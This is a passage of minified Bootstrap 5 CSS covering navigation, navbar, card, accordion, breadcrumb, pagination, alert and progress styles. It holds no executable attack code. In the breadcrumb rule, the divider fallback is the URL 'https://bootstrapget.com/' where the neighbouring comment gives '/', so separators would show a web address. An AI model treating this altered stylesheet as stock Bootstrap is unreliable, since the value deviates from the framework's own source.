ease-in-out}@media(prefers-reduced-motion: reduce){.nav-link{transition:none}}.nav-link:hover,.nav-link:focus{color:var(--bs-nav-link-hover-color)}.nav-link:focus-visible{outline:0;box-shadow:0 0 0 .25rem rgba(91,79,185,.25)}.nav-link.disabled,.nav-link:disabled{color:var(--bs-nav-link-disabled-color);pointer-events:none;cursor:default}.nav-tabs{--bs-nav-tabs-border-width: var(--bs-border-width);--bs-nav-tabs-border-color: var(--bs-border-color);--bs-nav-tabs-border-radius: var(--bs-border-radius);--bs-nav-tabs-link-hover-border-color: var(--bs-secondary-bg) var(--bs-secondary-bg) var(--bs-border-color);--bs-nav-tabs-link-active-color: var(--bs-emphasis-color);--bs-nav-tabs-link-active-bg: var(--bs-body-bg);--bs-nav-tabs-link-active-border-color: var(--bs-border-color) var(--bs-border-color) var(--bs-body-bg);border-bottom:var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color)}.nav-tabs .nav-link{margin-bottom:calc(-1*var(--bs-nav-tabs-border-width));border:var(--bs-nav-tabs-border-width) solid rgba(0,0,0,0);border-top-left-radius:var(--bs-nav-tabs-border-radius);border-top-right-radius:var(--bs-nav-tabs-border-radius)}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{isolation:isolate;border-color:var(--bs-nav-tabs-link-hover-border-color)}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:var(--bs-nav-tabs-link-active-color);background-color:var(--bs-nav-tabs-link-active-bg);border-color:var(--bs-nav-tabs-link-active-border-color)}.nav-tabs .dropdown-menu{margin-top:calc(-1*var(--bs-nav-tabs-border-width));border-top-left-radius:0;border-top-right-radius:0}.nav-pills{--bs-nav-pills-border-radius: var(--bs-border-radius);--bs-nav-pills-link-active-color: #ffffff;--bs-nav-pills-link-active-bg: #5b4fb9}.nav-pills .nav-link{border-radius:var(--bs-nav-pills-border-radius)}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:var(--bs-nav-pills-link-active-color);background-color:var(--bs-nav-pills-link-active-bg)}.nav-underline{--bs-nav-underline-gap: 1rem;--bs-nav-underline-border-width: 0.125rem;--bs-nav-underline-link-active-color: var(--bs-emphasis-color);gap:var(--bs-nav-underline-gap)}.nav-underline .nav-link{padding-right:0;padding-left:0;border-bottom:var(--bs-nav-underline-border-width) solid rgba(0,0,0,0)}.nav-underline .nav-link:hover,.nav-underline .nav-link:focus{border-bottom-color:currentcolor}.nav-underline .nav-link.active,.nav-underline .show>.nav-link{font-weight:700;color:var(--bs-nav-underline-link-active-color);border-bottom-color:currentcolor}.nav-fill>.nav-link,.nav-fill .nav-item{flex:1 1 auto;text-align:center}.nav-justified>.nav-link,.nav-justified .nav-item{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{--bs-navbar-padding-x: 0;--bs-navbar-padding-y: 0.5rem;--bs-navbar-color: rgba(var(--bs-emphasis-color-rgb), 0.65);--bs-navbar-hover-color: rgba(var(--bs-emphasis-color-rgb), 0.8);--bs-navbar-disabled-color: rgba(var(--bs-emphasis-color-rgb), 0.3);--bs-navbar-active-color: rgba(var(--bs-emphasis-color-rgb), 1);--bs-navbar-brand-padding-y: 0.33125rem;--bs-navbar-brand-margin-end: 1rem;--bs-navbar-brand-font-size: 1.125rem;--bs-navbar-brand-color: rgba(var(--bs-emphasis-color-rgb), 1);--bs-navbar-brand-hover-color: rgba(var(--bs-emphasis-color-rgb), 1);--bs-navbar-nav-link-padding-x: 0.5rem;--bs-navbar-toggler-padding-y: 0.25rem;--bs-navbar-toggler-padding-x: 0.75rem;--bs-navbar-toggler-font-size: 1.125rem;--bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%2828, 28, 28, 0.75%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e");--bs-navbar-toggler-border-color: rgba(var(--bs-emphasis-color-rgb), 0.15);--bs-navbar-toggler-border-radius: var(--bs-border-radius);--bs-navbar-toggler-focus-width: 0.25rem;--bs-navbar-toggler-transition: box-shadow 0.15s ease-in-out;position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:var(--bs-navbar-padding-y) var(--bs-navbar-padding-x)}.navbar>.container,.navbar>.container-fluid,.navbar>.container-sm,.navbar>.container-md,.navbar>.container-lg,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:var(--bs-navbar-brand-padding-y);padding-bottom:var(--bs-navbar-brand-padding-y);margin-right:var(--bs-navbar-brand-margin-end);font-size:var(--bs-navbar-brand-font-size);color:var(--bs-navbar-brand-color);text-decoration:none;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{color:var(--bs-navbar-brand-hover-color)}.navbar-nav{--bs-nav-link-padding-x: 0;--bs-nav-link-padding-y: 0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color: var(--bs-navbar-color);--bs-nav-link-hover-color: var(--bs-navbar-hover-color);--bs-nav-link-disabled-color: var(--bs-navbar-disabled-color);display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link.active,.navbar-nav .nav-link.show{color:var(--bs-navbar-active-color)}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-navbar-color)}.navbar-text a,.navbar-text a:hover,.navbar-text a:focus{color:var(--bs-navbar-active-color)}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x);font-size:var(--bs-navbar-toggler-font-size);line-height:1;color:var(--bs-navbar-color);background-color:rgba(0,0,0,0);border:var(--bs-border-width) solid var(--bs-navbar-toggler-border-color);border-radius:var(--bs-navbar-toggler-border-radius);transition:var(--bs-navbar-toggler-transition)}@media(prefers-reduced-motion: reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 var(--bs-navbar-toggler-focus-width)}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-image:var(--bs-navbar-toggler-icon-bg);background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height, 75vh);overflow-y:auto}@media(min-width: 576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex !important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto !important;height:auto !important;visibility:visible !important;background-color:rgba(0,0,0,0) !important;border:0 !important;transform:none !important;transition:none}.navbar-expand-sm .offcanvas .offcanvas-header{display:none}.navbar-expand-sm .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media(min-width: 768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex !important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto !important;height:auto !important;visibility:visible !important;background-color:rgba(0,0,0,0) !important;border:0 !important;transform:none !important;transition:none}.navbar-expand-md .offcanvas .offcanvas-header{display:none}.navbar-expand-md .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media(min-width: 992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex !important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto !important;height:auto !important;visibility:visible !important;background-color:rgba(0,0,0,0) !important;border:0 !important;transform:none !important;transition:none}.navbar-expand-lg .offcanvas .offcanvas-header{display:none}.navbar-expand-lg .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media(min-width: 1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex !important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto !important;height:auto !important;visibility:visible !important;background-color:rgba(0,0,0,0) !important;border:0 !important;transform:none !important;transition:none}.navbar-expand-xl .offcanvas .offcanvas-header{display:none}.navbar-expand-xl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media(min-width: 1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex !important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}.navbar-expand-xxl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto !important;height:auto !important;visibility:visible !important;background-color:rgba(0,0,0,0) !important;border:0 !important;transform:none !important;transition:none}.navbar-expand-xxl .offcanvas .offcanvas-header{display:none}.navbar-expand-xxl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex !important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto !important;height:auto !important;visibility:visible !important;background-color:rgba(0,0,0,0) !important;border:0 !important;transform:none !important;transition:none}.navbar-expand .offcanvas .offcanvas-header{display:none}.navbar-expand .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}.navbar-dark,.navbar[data-bs-theme=dark]{--bs-navbar-color: rgba(255, 255, 255, 0.55);--bs-navbar-hover-color: rgba(255, 255, 255, 0.75);--bs-navbar-disabled-color: rgba(255, 255, 255, 0.25);--bs-navbar-active-color: #ffffff;--bs-navbar-brand-color: #ffffff;--bs-navbar-brand-hover-color: #ffffff;--bs-navbar-toggler-border-color: rgba(255, 255, 255, 0.1);--bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}[data-bs-theme=dark] .navbar-toggler-icon{--bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.card{--bs-card-spacer-y: 1rem;--bs-card-spacer-x: 1rem;--bs-card-title-spacer-y: 0.5rem;--bs-card-title-color: ;--bs-card-subtitle-color: ;--bs-card-border-width: var(--bs-border-width);--bs-card-border-color: var(--bs-border-color-translucent);--bs-card-border-radius: 1rem;--bs-card-box-shadow: ;--bs-card-inner-border-radius: calc(1rem - (var(--bs-border-width)));--bs-card-cap-padding-y: 0.925rem;--bs-card-cap-padding-x: 1rem;--bs-card-cap-bg: #ffffff;--bs-card-cap-color: ;--bs-card-height: ;--bs-card-color: ;--bs-card-bg: var(--bs-body-bg);--bs-card-img-overlay-padding: 1rem;--bs-card-group-margin: 0.75rem;position:relative;display:flex;flex-direction:column;min-width:0;height:var(--bs-card-height);color:var(--bs-body-color);word-wrap:break-word;background-color:var(--bs-card-bg);background-clip:border-box;border:var(--bs-card-border-width) solid var(--bs-card-border-color);border-radius:var(--bs-card-border-radius)}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:var(--bs-card-spacer-y) var(--bs-card-spacer-x);color:var(--bs-card-color)}.card-title{margin-bottom:var(--bs-card-title-spacer-y);color:var(--bs-card-title-color)}.card-subtitle{margin-top:calc(-0.5*var(--bs-card-title-spacer-y));margin-bottom:0;color:var(--bs-card-subtitle-color)}.card-text:last-child{margin-bottom:0}.card-link+.card-link{margin-left:var(--bs-card-spacer-x)}.card-header{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);margin-bottom:0;color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-bottom:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-header:first-child{border-radius:var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0}.card-footer{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-top:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-footer:last-child{border-radius:0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius)}.card-header-tabs{margin-right:calc(-0.5*var(--bs-card-cap-padding-x));margin-bottom:calc(-1*var(--bs-card-cap-padding-y));margin-left:calc(-0.5*var(--bs-card-cap-padding-x));border-bottom:0}.card-header-tabs .nav-link.active{background-color:var(--bs-card-bg);border-bottom-color:var(--bs-card-bg)}.card-header-pills{margin-right:calc(-0.5*var(--bs-card-cap-padding-x));margin-left:calc(-0.5*var(--bs-card-cap-padding-x))}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:var(--bs-card-img-overlay-padding);border-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-top,.card-img-bottom{width:100%}.card-img,.card-img-top{border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom{border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card-group>.card{margin-bottom:var(--bs-card-group-margin)}@media(min-width: 576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-img-top,.card-group>.card:not(:last-child) .card-header{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-img-bottom,.card-group>.card:not(:last-child) .card-footer{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-img-top,.card-group>.card:not(:first-child) .card-header{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-img-bottom,.card-group>.card:not(:first-child) .card-footer{border-bottom-left-radius:0}}.accordion{--bs-accordion-color: var(--bs-body-color);--bs-accordion-bg: var(--bs-body-bg);--bs-accordion-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, border-radius 0.15s ease;--bs-accordion-border-color: #e5e6ec;--bs-accordion-border-width: var(--bs-border-width);--bs-accordion-border-radius: var(--bs-border-radius);--bs-accordion-inner-border-radius: calc(var(--bs-border-radius) - (var(--bs-border-width)));--bs-accordion-btn-padding-x: 1.25rem;--bs-accordion-btn-padding-y: 1rem;--bs-accordion-btn-color: var(--bs-body-color);--bs-accordion-btn-bg: var(--bs-accordion-bg);--bs-accordion-btn-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='none' stroke='%231c1c1c' stroke-linecap='round' stroke-linejoin='round'%3e%3cpath d='M2 5L8 11L14 5'/%3e%3c/svg%3e");--bs-accordion-btn-icon-width: 1.25rem;--bs-accordion-btn-icon-transform: rotate(-180deg);--bs-accordion-btn-icon-transition: transform 0.2s ease-in-out;--bs-accordion-btn-active-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='none' stroke='%2324204a' stroke-linecap='round' stroke-linejoin='round'%3e%3cpath d='M2 5L8 11L14 5'/%3e%3c/svg%3e");--bs-accordion-btn-focus-box-shadow: 0 0 0 0.25rem rgba(91, 79, 185, 0.25);--bs-accordion-body-padding-x: 1.25rem;--bs-accordion-body-padding-y: 1rem;--bs-accordion-active-color: #000000;--bs-accordion-active-bg: #ffffff}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x);font-size:0.9rem;color:var(--bs-accordion-btn-color);text-align:left;background-color:var(--bs-accordion-btn-bg);border:0;border-radius:0;overflow-anchor:none;transition:var(--bs-accordion-transition)}@media(prefers-reduced-motion: reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:var(--bs-accordion-active-color);background-color:var(--bs-accordion-active-bg);box-shadow:inset 0 calc(-1*var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color)}.accordion-button:not(.collapsed)::after{background-image:var(--bs-accordion-btn-active-icon);transform:var(--bs-accordion-btn-icon-transform)}.accordion-button::after{flex-shrink:0;width:var(--bs-accordion-btn-icon-width);height:var(--bs-accordion-btn-icon-width);margin-left:auto;content:"";background-image:var(--bs-accordion-btn-icon);background-repeat:no-repeat;background-size:var(--bs-accordion-btn-icon-width);transition:var(--bs-accordion-btn-icon-transition)}@media(prefers-reduced-motion: reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;outline:0;box-shadow:var(--bs-accordion-btn-focus-box-shadow)}.accordion-header{margin-bottom:0}.accordion-item{color:var(--bs-accordion-color);background-color:var(--bs-accordion-bg);border:var(--bs-accordion-border-width) solid var(--bs-accordion-border-color)}.accordion-item:first-of-type{border-top-left-radius:var(--bs-accordion-border-radius);border-top-right-radius:var(--bs-accordion-border-radius)}.accordion-item:first-of-type>.accordion-header .accordion-button{border-top-left-radius:var(--bs-accordion-inner-border-radius);border-top-right-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-item:last-of-type>.accordion-header .accordion-button.collapsed{border-bottom-right-radius:var(--bs-accordion-inner-border-radius);border-bottom-left-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:last-of-type>.accordion-collapse{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-body{padding:var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x)}.accordion-flush>.accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush>.accordion-item:first-child{border-top:0}.accordion-flush>.accordion-item:last-child{border-bottom:0}.accordion-flush>.accordion-item>.accordion-header .accordion-button,.accordion-flush>.accordion-item>.accordion-header .accordion-button.collapsed{border-radius:0}.accordion-flush>.accordion-item>.accordion-collapse{border-radius:0}[data-bs-theme=dark] .accordion-button::after{--bs-accordion-btn-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%239d95d5'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-active-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%239d95d5'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.breadcrumb{--bs-breadcrumb-padding-x: 0;--bs-breadcrumb-padding-y: 0;--bs-breadcrumb-margin-bottom: 1rem;--bs-breadcrumb-bg: ;--bs-breadcrumb-border-radius: ;--bs-breadcrumb-divider-color: var(--bs-secondary-color);--bs-breadcrumb-item-padding-x: 0.5rem;--bs-breadcrumb-item-active-color: var(--bs-secondary-color);display:flex;flex-wrap:wrap;padding:var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x);margin-bottom:var(--bs-breadcrumb-margin-bottom);font-size:var(--bs-breadcrumb-font-size);list-style:none;background-color:var(--bs-breadcrumb-bg);border-radius:var(--bs-breadcrumb-border-radius)}.breadcrumb-item+.breadcrumb-item{padding-left:var(--bs-breadcrumb-item-padding-x)}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:var(--bs-breadcrumb-item-padding-x);color:var(--bs-breadcrumb-divider-color);content:var(--bs-breadcrumb-divider, "https://bootstrapget.com/") /* rtl: var(--bs-breadcrumb-divider, "/") */}.breadcrumb-item.active{color:var(--bs-breadcrumb-item-active-color)}.pagination{--bs-pagination-padding-x: 0.75rem;--bs-pagination-padding-y: 0.375rem;--bs-pagination-font-size:0.9rem;--bs-pagination-color: var(--bs-link-color);--bs-pagination-bg: var(--bs-body-bg);--bs-pagination-border-width: var(--bs-border-width);--bs-pagination-border-color: var(--bs-border-color);--bs-pagination-border-radius: var(--bs-border-radius);--bs-pagination-hover-color: var(--bs-link-hover-color);--bs-pagination-hover-bg: var(--bs-tertiary-bg);--bs-pagination-hover-border-color: var(--bs-border-color);--bs-pagination-focus-color: var(--bs-link-hover-color);--bs-pagination-focus-bg: var(--bs-secondary-bg);--bs-pagination-focus-box-shadow: 0 0 0 0.25rem rgba(91, 79, 185, 0.25);--bs-pagination-active-color: #ffffff;--bs-pagination-active-bg: #5b4fb9;--bs-pagination-active-border-color: #5b4fb9;--bs-pagination-disabled-color: var(--bs-secondary-color);--bs-pagination-disabled-bg: var(--bs-secondary-bg);--bs-pagination-disabled-border-color: var(--bs-border-color);display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;padding:var(--bs-pagination-padding-y) var(--bs-pagination-padding-x);font-size:var(--bs-pagination-font-size);color:var(--bs-pagination-color);text-decoration:none;background-color:var(--bs-pagination-bg);border:var(--bs-pagination-border-width) solid var(--bs-pagination-border-color);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:var(--bs-pagination-hover-color);background-color:var(--bs-pagination-hover-bg);border-color:var(--bs-pagination-hover-border-color)}.page-link:focus{z-index:3;color:var(--bs-pagination-focus-color);background-color:var(--bs-pagination-focus-bg);outline:0;box-shadow:var(--bs-pagination-focus-box-shadow)}.page-link.active,.active>.page-link{z-index:3;color:var(--bs-pagination-active-color);background-color:var(--bs-pagination-active-bg);border-color:var(--bs-pagination-active-border-color)}.page-link.disabled,.disabled>.page-link{color:var(--bs-pagination-disabled-color);pointer-events:none;background-color:var(--bs-pagination-disabled-bg);border-color:var(--bs-pagination-disabled-border-color)}.page-item:not(:first-child) .page-link{margin-left:calc(var(--bs-border-width)*-1)}.page-item:first-child .page-link{border-top-left-radius:var(--bs-pagination-border-radius);border-bottom-left-radius:var(--bs-pagination-border-radius)}.page-item:last-child .page-link{border-top-right-radius:var(--bs-pagination-border-radius);border-bottom-right-radius:var(--bs-pagination-border-radius)}.pagination-lg{--bs-pagination-padding-x: 1.5rem;--bs-pagination-padding-y: 0.75rem;--bs-pagination-font-size:1.125rem;--bs-pagination-border-radius: var(--bs-border-radius-lg)}.pagination-sm{--bs-pagination-padding-x: 0.5rem;--bs-pagination-padding-y: 0.25rem;--bs-pagination-font-size:0.7875rem;--bs-pagination-border-radius: var(--bs-border-radius-sm)}.badge{--bs-badge-padding-x: 0.65em;--bs-badge-padding-y: 0.35em;--bs-badge-font-size:0.75em;--bs-badge-font-weight: 700;--bs-badge-color: #ffffff;--bs-badge-border-radius: var(--bs-border-radius);display:inline-block;padding:var(--bs-badge-padding-y) var(--bs-badge-padding-x);font-size:var(--bs-badge-font-size);font-weight:var(--bs-badge-font-weight);line-height:1;color:var(--bs-badge-color);text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:var(--bs-badge-border-radius)}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{--bs-alert-bg: transparent;--bs-alert-padding-x: 1rem;--bs-alert-padding-y: 1rem;--bs-alert-margin-bottom: 1rem;--bs-alert-color: inherit;--bs-alert-border-color: transparent;--bs-alert-border: var(--bs-border-width) solid var(--bs-alert-border-color);--bs-alert-border-radius: var(--bs-border-radius);--bs-alert-link-color: inherit;position:relative;padding:var(--bs-alert-padding-y) var(--bs-alert-padding-x);margin-bottom:var(--bs-alert-margin-bottom);color:var(--bs-alert-color);background-color:var(--bs-alert-bg);border:var(--bs-alert-border);border-radius:var(--bs-alert-border-radius)}.alert-heading{color:inherit}.alert-link{font-weight:700;color:var(--bs-alert-link-color)}.alert-dismissible{padding-right:3rem}.alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{--bs-alert-color: var(--bs-primary-text-emphasis);--bs-alert-bg: var(--bs-primary-bg-subtle);--bs-alert-border-color: var(--bs-primary-border-subtle);--bs-alert-link-color: var(--bs-primary-text-emphasis)}.alert-secondary{--bs-alert-color: var(--bs-secondary-text-emphasis);--bs-alert-bg: var(--bs-secondary-bg-subtle);--bs-alert-border-color: var(--bs-secondary-border-subtle);--bs-alert-link-color: var(--bs-secondary-text-emphasis)}.alert-danger{--bs-alert-color: var(--bs-danger-text-emphasis);--bs-alert-bg: var(--bs-danger-bg-subtle);--bs-alert-border-color: var(--bs-danger-border-subtle);--bs-alert-link-color: var(--bs-danger-text-emphasis)}.alert-success{--bs-alert-color: var(--bs-success-text-emphasis);--bs-alert-bg: var(--bs-success-bg-subtle);--bs-alert-border-color: var(--bs-success-border-subtle);--bs-alert-link-color: var(--bs-success-text-emphasis)}.alert-info{--bs-alert-color: var(--bs-info-text-emphasis);--bs-alert-bg: var(--bs-info-bg-subtle);--bs-alert-border-color: var(--bs-info-border-subtle);--bs-alert-link-color: var(--bs-info-text-emphasis)}.alert-warning{--bs-alert-color: var(--bs-warning-text-emphasis);--bs-alert-bg: var(--bs-warning-bg-subtle);--bs-alert-border-color: var(--bs-warning-border-subtle);--bs-alert-link-color: var(--bs-warning-text-emphasis)}.alert-light{--bs-alert-color: var(--bs-light-text-emphasis);--bs-alert-bg: var(--bs-light-bg-subtle);--bs-alert-border-color: var(--bs-light-border-subtle);--bs-alert-link-color: var(--bs-light-text-emphasis)}.alert-dark{--bs-alert-color: var(--bs-dark-text-emphasis);--bs-alert-bg: var(--bs-dark-bg-subtle);--bs-alert-border-color: var(--bs-dark-border-subtle);--bs-alert-link-color: var(--bs-dark-text-emphasis)}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress,.progress-stacked{--bs-progress-height: 1rem;--bs-progress-font-size:0.675rem;--bs-progress-bg: var(--bs-secondary-bg);--bs-progress-border-radius: var(--bs-border-radius);--bs-progress-box-shadow: var(--bs-box-shadow-inset);--bs-progress-bar-color: #ffffff;--bs-progress-bar-bg: #5b4fb9;--bs-progress-bar-transition: width 0.6s 